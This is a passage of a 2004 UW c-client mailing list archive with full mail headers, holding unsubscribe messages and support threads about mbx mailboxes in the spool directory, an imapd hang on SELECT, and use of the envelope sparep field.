8 Apr 2004 14:12:52 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38LCqG2023535 for ; Thu, 8 Apr 2004 14:12:52 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38LCohc030838 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 8 Apr 2004 14:12:51 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i38LBt8B018024; Thu, 8 Apr 2004 14:11:58 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38LB0lB025702 for ; Thu, 8 Apr 2004 14:11:01 -0700 Received: from smtp.jpl.nasa.gov (eis-msg-012.jpl.nasa.gov [137.78.160.40]) by mxu4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i38LAxKL025223 for ; Thu, 8 Apr 2004 14:11:00 -0700 Received: from jpl.nasa.gov (ibsscanell.jpl.nasa.gov [137.78.252.182]) by smtp.jpl.nasa.gov (8.12.10/8.12.10) with ESMTP id i38LAxMF017194 for ; Thu, 8 Apr 2004 14:10:59 -0700 (PDT) Message-Id: <4075CDF3.7010309@jpl.nasa.gov> Date: Thu, 08 Apr 2004 14:10:59 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: scanell To: c-client@u.washington.edu Subject: unsubscribe MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Apr 8 21:57:09 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Apr 2004 21:57:09 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i394v8jH007688 for ; Thu, 8 Apr 2004 21:57:08 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i394v5Ei014481 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 8 Apr 2004 21:57:07 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i394rjD4018792; Thu, 8 Apr 2004 21:53:46 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i394qZm8034578 for ; Thu, 8 Apr 2004 21:52:35 -0700 Received: from biti.edu.cn (mail.biti.edu.cn [211.68.32.3]) by mxu5.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i394qXAe022595 for ; Thu, 8 Apr 2004 21:52:34 -0700 Received: (eyou send program); Fri, 09 Apr 2004 13:33:17 +0800 Received: from 202.23.124.31 by mail.biti.edu.cn with HTTP; Fri, 09 Apr 2004 13:33:17 +0800 Message-Id: <281488797.25893@biti.edu.cn> Date: Fri, 09 Apr 2004 13:33:17 +0800 Reply-To: dengming@mail.biti.edu.cn Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: dengming@mail.biti.edu.cn To: c-client@u.washington.edu Subject: unsubscribe Content-Type: text/plain X-WebMAIL-MUA: [202.23.124.31] X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, NO_REAL_NAME 0.000, __TO_MALFORMED_2 0, __CT_TEXT_PLAIN 0, __CT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Apr 15 09:55:11 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 15 Apr 2004 09:55:11 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3FGtBnD023283 for ; Thu, 15 Apr 2004 09:55:11 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3FGt9vd022817 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 15 Apr 2004 09:55:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3FGrrG1018022; Thu, 15 Apr 2004 09:53:54 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3FGoikK103028 for ; Thu, 15 Apr 2004 09:50:44 -0700 Received: from hermes.dur.ac.uk (hermes.dur.ac.uk [129.234.4.9]) by mxu3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3FGofPm024707 for ; Thu, 15 Apr 2004 09:50:42 -0700 Received: from smtphost2.dur.ac.uk (smtphost2.dur.ac.uk [129.234.4.209]) by hermes.dur.ac.uk (8.11.7-20030923/8.11.7) with ESMTP id i3FGoZI28342 for ; Thu, 15 Apr 2004 17:50:35 +0100 (BST) Received: from arachne.dur.ac.uk (arachne.dur.ac.uk [129.234.2.4]) by smtphost2.dur.ac.uk (8.12.10+Sun/8.11.7) with ESMTP id i3FGoWs4014555 for ; Thu, 15 Apr 2004 17:50:32 +0100 (BST) Received: from localhost (dcl0tdl@localhost) by arachne.dur.ac.uk (8.11.7+Sun/8.11.1) with ESMTP id i3FGoWI18402 for ; Thu, 15 Apr 2004 17:50:32 +0100 (BST) Message-Id: Date: Thu, 15 Apr 2004 17:50:32 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Lee To: c-client@u.washington.edu Subject: Re: Converting from unix to mbx format In-Reply-To: <20040403232349.GA1709@brandeis.edu> References: <000901c4188f$ee429f30$cb09758f@clive> <20040403232349.GA1709@brandeis.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-DurhamAcUk-MailScanner: Found to be clean, Found to be clean X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sat, 3 Apr 2004, Sahil Tandon wrote: > On Fri, Apr 02, 2004 at 09:53:12AM +0100, Clive McDowell wrote: > > > mailutil move /var/mail/joesoap #driver.mbx/home/joesoap/INBOX > > > > Are there any other options? > > AFAIK, if an emtpy mbx format INBOX exists in /home/$user/INBOX, an imap > connection to the server will cause the mbx driver to "automatically snarf" the > contents of /var/mail/$user -> /home/$user/INBOX. (Note: talking about "mbx" (without the 'o') format.) Is there any reason why "/var/mail/$user" (usually in trad. UNIX format) cannot itself be in "mbx" format? (Trying it as such seems not to work, and this seems to be confirmed by the "docs/drivers.txt" description.) It would be useful to us if our inboxes could continue to be in the normal, non-home "/var/mail" area, but in (optional) "mbx" format. Any philosophical reasons why this (so it seems) is not possible? Thanks in advance. -- : David Lee I.T. Service : : Systems Programmer Computer Centre : : University of Durham : : http://www.dur.ac.uk/t.d.lee/ South Road : : Durham : : Phone: +44 191 334 2752 U.K. : From pinedev@shivax2.cac.washington.edu Thu Apr 15 11:16:21 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 15 Apr 2004 11:16:21 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3FIGKtj027541 for ; Thu, 15 Apr 2004 11:16:20 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3FIGI3o031006 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 15 Apr 2004 11:16:18 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3FIFN4b017544; Thu, 15 Apr 2004 11:15:25 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3FIE6ZK068874 for ; Thu, 15 Apr 2004 11:14:06 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3FIE5oF001325 for ; Thu, 15 Apr 2004 11:14:05 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout3.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3FIE3Io006669; Thu, 15 Apr 2004 11:14:03 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3FIE3C3016414; Thu, 15 Apr 2004 11:14:03 -0700 Message-Id: Date: Thu, 15 Apr 2004 11:14:03 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: David Lee Cc: c-client@u.washington.edu Subject: Re: Converting from unix to mbx format In-Reply-To: References: <000901c4188f$ee429f30$cb09758f@clive> <20040403232349.GA1709@brandeis.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 15 Apr 2004, David Lee wrote: > Is there any reason why "/var/mail/$user" (usually in trad. UNIX format) > cannot itself be in "mbx" format? (Trying it as such seems not to work, > and this seems to be confirmed by the "docs/drivers.txt" description.) That's a good question! Fortunately, there are good answers: The spool directory is perceived by a large body of software to be "owned" by the traditional UNIX mail facility. As such, there is all sorts of software which will happily append a traditional UNIX format message to a file in the spool directory without any check to see if, in fact, that file actually is a traditional UNIX format message. The result is a corrupted mbx format mailbox. You would think "shouldn't programs invoke sendmail, or at least pipe to /bin/mail or /bin/mail.local or whatever?" Of course! But all too many programs write directly because "it is more efficient that way." Another technical issue is that using the spool directory for any other format breaks the capability of a user independently deciding to use another format. Most software packages convert from traditional UNIX format to another format; arbitrary format conversion is clanky at best. As for philosophical questions: There are system management and privacy concerns for not having people's INBOX in a shared spool directory. It is easier to administer quotas when the INBOX is co-located with the non-INBOX mailboxes. It is perfectly reasonable to set the user's "mailbox directory" to be something other than the user's UNIX home directory, and many sites do this. Anyone can obtain information about the size, last write, and last read of anyone else's INBOX in a shared directory. This can be, in certain circumstances, extremely useful for bad guys. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Apr 15 12:37:27 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 15 Apr 2004 12:37:27 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3FJbREq031183 for ; Thu, 15 Apr 2004 12:37:27 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3FJbPvw030640 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 15 Apr 2004 12:37:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3FJZiOf008422; Thu, 15 Apr 2004 12:35:44 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3FJYZ8e057120 for ; Thu, 15 Apr 2004 12:34:35 -0700 Received: from proxy.vc-graz.ac.at (mail.vc-graz.ac.at [193.171.121.30]) by mxu5.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3FJYX2h015901 for ; Thu, 15 Apr 2004 12:34:33 -0700 Received: from castro (d-51.vc-graz.ac.at [193.171.243.51]) by proxy.vc-graz.ac.at (8.12.11/8.12.11) with ESMTP id i3FJYPLg016777 for ; Thu, 15 Apr 2004 21:34:25 +0200 (MEST) Received: from michael by castro with local (Exim 3.36 #1 (Debian)) id 1BECd2-0001Ot-00 for ; Thu, 15 Apr 2004 21:34:28 +0200 Message-Id: <87brlt6nnf.fsf@stiegl.homelinux.org> Date: Thu, 15 Apr 2004 21:34:28 +0200 Reply-To: ngreply@mikeausoim.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Michael Bayer To: c-client@u.washington.edu Subject: imapd hangs on selecting mailbox MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Sender: Michael Bayer X-Virus-Scanned: by amavisd-new X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I'm currently setting up uw-imapd on a debian woody box and have the following problem: After user authentification goes OK, the imapd stops doing anything after selecting a mailbox. The following session as an example: --8<-------------------------------------------------------------- mike@oeh:~$ telnet localhost 143 Trying 129.27.203.100... Connected to mail Escape character is '^]'. * OK [CAPABILITY IMAP4REV1 X-NETSCAPE LOGIN-REFERRALS STARTTLS AUTH=LOGIN] mail IMAP4rev1 2003.337 at Thu, 15 Apr 2004 21:19:52 +0200 (CEST) ab login mike pass ab OK [CAPABILITY IMAP4REV1 X-NETSCAPE IDLE NAMESPACE MAILBOX-REFERRALS BINARY SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND] User mike authenticated ab select inbox -->8-------------------------------------------------------------- >From now on nothing happens. The inbox seems to be locked, but I recieve no data, the clients are waiting... Authentification works with pam (ldap), but I cannot imagine that matters. Does anyone know about this issue? Thanks for your help, greets, Mike -- Michael Bayer Graz, University of Technology (Austria) -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Apr 15 12:47:08 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 15 Apr 2004 12:47:08 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3FJl7HI031694 for ; Thu, 15 Apr 2004 12:47:07 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3FJl6pn031038 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 15 Apr 2004 12:47:06 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3FJkLLf016590; Thu, 15 Apr 2004 12:46:21 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3FJjKM3028948 for ; Thu, 15 Apr 2004 12:45:20 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu6.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3FJjKuE008191 for ; Thu, 15 Apr 2004 12:45:20 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3FJjJ8Q001803; Thu, 15 Apr 2004 12:45:19 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3FJjJpe023301; Thu, 15 Apr 2004 12:45:19 -0700 Message-Id: Date: Thu, 15 Apr 2004 12:45:19 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: ngreply@mikeausoim.com Cc: c-client@u.washington.edu Subject: Re: imapd hangs on selecting mailbox In-Reply-To: <87brlt6nnf.fsf@stiegl.homelinux.org> References: <87brlt6nnf.fsf@stiegl.homelinux.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 15 Apr 2004, Michael Bayer wrote: > After user authentification goes OK, the imapd stops doing anything after > selecting a mailbox. To isolate this problem further: How large is the mailbox? If the mailbox is hundreds of megabytes, it may take a while for the SELECT to return. A small mailbox should return instantly. Are you using unmodified UW imapd direct from UW, or is it from a third-party distribution? If the latter, have you tried the UW distribution: ftp://ftp.cac.washington.edu/mail/imap.tar.Z or ftp://ftp.cac.washington.edu/mail/imap-2004.RC.tar.Z Are there any other modifications or third-party drivers (not supplied by UW)? Many problems are caused by well-intentioned but ill-conceived modifications. Have you tried running imapd under gdb (omit the login step when you do this) to see where it is when it is hanging? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Apr 16 11:24:15 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 16 Apr 2004 11:24:15 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3GIOF0O019617 for ; Fri, 16 Apr 2004 11:24:15 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3GIODNk016002 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 16 Apr 2004 11:24:13 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3GINEV2003650; Fri, 16 Apr 2004 11:23:15 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3GIKn90122880 for ; Fri, 16 Apr 2004 11:20:49 -0700 Received: from hoemail1.firewall.lucent.com (hoemail1.lucent.com [192.11.226.161]) by mxu5.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3GIKmRH028002 for ; Fri, 16 Apr 2004 11:20:48 -0700 Received: from homail.ho.lucent.com (h135-17-192-10.lucent.com [135.17.192.10]) by hoemail1.firewall.lucent.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i3GIKgV14124 for ; Fri, 16 Apr 2004 13:20:43 -0500 (CDT) Received: from lucent.com by homail.ho.lucent.com (8.11.7+Sun/EMS-1.5 sol2) id i3GIKe326439; Fri, 16 Apr 2004 14:20:40 -0400 (EDT) Message-Id: <408023D5.4030405@lucent.com> Date: Fri, 16 Apr 2004 14:20:05 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jeremy M Schmersal To: c-client@u.washington.edu Subject: Question about env->sparep MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I'm looking for some advice on getting RFC822 headers from messages using c-client (imap-2002e). We have some proprietary x-headers in our product. We use SET_IMAPEXTRAHEADERS to set our x-headers to fetch (with the prefetch) and SET_PARSELINE to set our own parseline routine. This looks to be working perfectly. When the FETCH is performed, our parseline routine sees the x-headers we were expecting. We are trying to use the sparep field of the ENVELOPE structure to store the parsed x-header data in. In our parseline function we allocate the sparep if necessary, write the parsed data to it, and we have set SET_FREEENVELOPESPAREP to release the space when the envelope is destroyed. The problem appears to be that the envelope is freed before we get a chance to use the info we've stored in the sparep. It looks like the IMAP envelope is parsed first, then imap_parse_header calls rfc822_parse_msg to parse the RFC822 header (including our x-headers) into a new envelope, and merges it into the existing one (that holds the IMAP envelope). It doesn't look like the sparep is being merged in any way into the existing envelope (things like Newsgroups and Followup-To are), and so our envelope information is freed along with the new envelope. Is this a hole, or am I misunderstanding how to parse custom headers and/or use the sparep of the envelope? Also, what is the preferred method of changing the default IMAP port? We haven't had alot of luck with SET_IMAPPORT. Thanks for any help, Jeremy Schmersal -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Apr 16 15:52:23 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 16 Apr 2004 15:52:23 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3GMqN3O032567 for ; Fri, 16 Apr 2004 15:52:23 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3GMqM1g027420 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 16 Apr 2004 15:52:22 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3GMpQfE012878; Fri, 16 Apr 2004 15:51:27 -0700 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3GMmCgl069514 for ; Fri, 16 Apr 2004 15:48:12 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3GMm9in027107 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 16 Apr 2004 15:48:09 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3GMm8cc010212; Fri, 16 Apr 2004 15:48:09 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3GMm8HB013211 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 16 Apr 2004 15:48:08 -0700 Message-Id: Date: Fri, 16 Apr 2004 15:48:08 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jeremy M Schmersal Cc: c-client@u.washington.edu Subject: Re: Question about env->sparep In-Reply-To: <408023D5.4030405@lucent.com> References: <408023D5.4030405@lucent.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 16 Apr 2004, Jeremy M Schmersal wrote: > We are trying to use the sparep field of the ENVELOPE structure to store the > parsed x-header data in. This is not how the sparep stuff was originally intended to be used; however, upon considering your issue I've concluded that it is reasonable to do what you suggest. The obvious addition to imap_parse_header() will be in imap-2004; since release candidate 8 is already out, it'll be either RC9 if there's an RC9, or the release version. > Also, what is the preferred method of changing the default IMAP port? We > haven't had alot of luck with SET_IMAPPORT. It should work. What are you trying to do? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun Apr 18 06:36:35 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 18 Apr 2004 06:36:35 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IDaZua017460 for ; Sun, 18 Apr 2004 06:36:35 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IDaXvd002456 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 18 Apr 2004 06:36:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3IDYmCx012406; Sun, 18 Apr 2004 06:34:51 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu 